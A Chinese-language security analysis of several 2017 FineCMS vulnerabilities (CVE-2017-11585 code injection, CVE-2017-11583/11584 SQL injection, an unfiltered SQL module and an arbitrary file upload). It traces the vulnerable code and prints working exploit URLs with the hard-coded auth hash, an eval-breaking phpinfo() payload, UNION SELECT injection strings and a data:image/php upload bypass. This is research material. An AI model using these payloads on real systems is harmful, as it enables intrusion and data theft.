任意代码执行(CVE-2017-11585)1
http://www.finecms1.com:8585/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271
- 问题存在于
/finecms/dayrui/controllers/Api.php的data2()
中,开头验证了授权码 - 授权码在
config/system.php
文件中,SYS_KEY
是确定值,md5之后得到50ce0d2401ce4802751739552c8e4467
- 往下看,
Template对象
里面的list_tag()
,param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271
被分为两个数组,其中数组的内容为1
2$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']
- 跟进
list_tag()
,问题出在@eval()
中 swtich
选中的是cache
,则1
2$_name='MEMBER'
$_param="1%27];phpinfo();$a=[%271"
- 跟进
_get_var
,假如把$param
的内容假设为a,然后执行函数里面的内容,最后返回的$string
的内容是:$string=['a']
。那么攻击思路就是把两边的[' ']
闭合然后再放上恶意的代码。
payload为:1'];phpinfo();$a=['1
,那么返回的$string
的内容:$string=['1'];phpinfo();$a=['1']
- 修复建议
1
_get_var函数里面多了一个dr_safe_replace过滤函数
sql注入
Template.php catid变量 SQL注入漏洞(CVE-2017-11583)1
2http://www.finecms1.com:8585/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=related%20module=news%20tag=1,2%20catid=1,12))%0aand%0a0%0aunion%0aselect%0a*%0afrom(((((((((((((((((((select(user()))a)join(select(2))b)join(select(3))c)join(select(4))d)join(select(5))e)join(select(6))f)join(select(7))g)join(sele
ct(8))h)join(select(9))i)join(select(10))j)join(select(11))k)join(select(12))l)join(select(13))m)join(select(14))n)join(select(15))o)join(select(16))p)join(select(17))q)join(select(18))x)%23
- 绕过安全码的过程同上,跟进
list_tag()
,/finecms/dayrui/libraries/Template.php
中param参数
通过空格分割,然后解析分别赋值给system参数字典中,这里是个变量覆盖漏洞。通过这里,我们可以设置任意一个system变量。 - 进入case,这里我们进入
action=related
必须传入catid
,并且保证参数内存在逗号,这样catid的每一个值就会不经过任何变量过滤进入sql语句,形成注入
Template.php field变量 SQL注入漏洞CVE-2017-115841
http://www.finecms1.com:8585/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=related%20module=news%20tag=1%20field=1%0aunion%0aselect%0auser()%23
- 共用一个
field
,且没做任何过滤
finecms/dayrui/libraries/Template.php里面的list_tag()中的sql模块1
http://www.finecms1.com:8585/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=action=sql%20sql=%27select%20version();%27
进入
case:sql
模块preg_match()
,匹配过后sql是一个数组:1
2
3
4
5
6array(2) {
[0]=>
string(23) "sql='select version();'"
[1]=>
string(17) "select version();"
}执行SQL的地方,传入sql内容和
$system['site']
默认是1,$system['cache']
默认缓存时间是3600- 跟进
_query()
,发现没做任何过滤
finecms/dayrui/libraries/Template.php里面的list_tag()中的html模块1
http://www.finecms1.com:8585/index.php?c=api&m=html&name=search&format=html¶ms={"search_sql":" select concat(0x7e,database(),0x7e) as description"}
- 跟进
assign()
模块,把用户输入的变量都保存在_options数组
中 - 跟进
display()
模块,注册了用户输入的变量 - 跟进
load_view_file
模块 - 跟进
handle_view_file
模块,list标签对应list_tag方法 - 搜索list标签来找个模板文件:
templates\pc\default\common\search.html
任意文件上传/finecms/dayrui/controllers/Api.php
uid
和file
从外部传入,可控- 传递uid=1。那么这时候的dir为
member/1/
preg_match()
没有做严格过滤可以用data:image/php
绕过。- 文件名固定为:
0x0.php
SYS_UPLOAD_PATH
为固定值uploadfile
- 那么文件内容可控,路径已知。
参考文献:
https://bbs.ichunqiu.com/thread-34982-1-1.html
https://lorexxar.cn/2017/07/26/finecms%E5%88%86%E6%9E%90/#Template-php-catid%E5%8F%98%E9%87%8F-SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E-CVE-2017-11583
https://blog.csdn.net/xiaoi123/article/details/84304568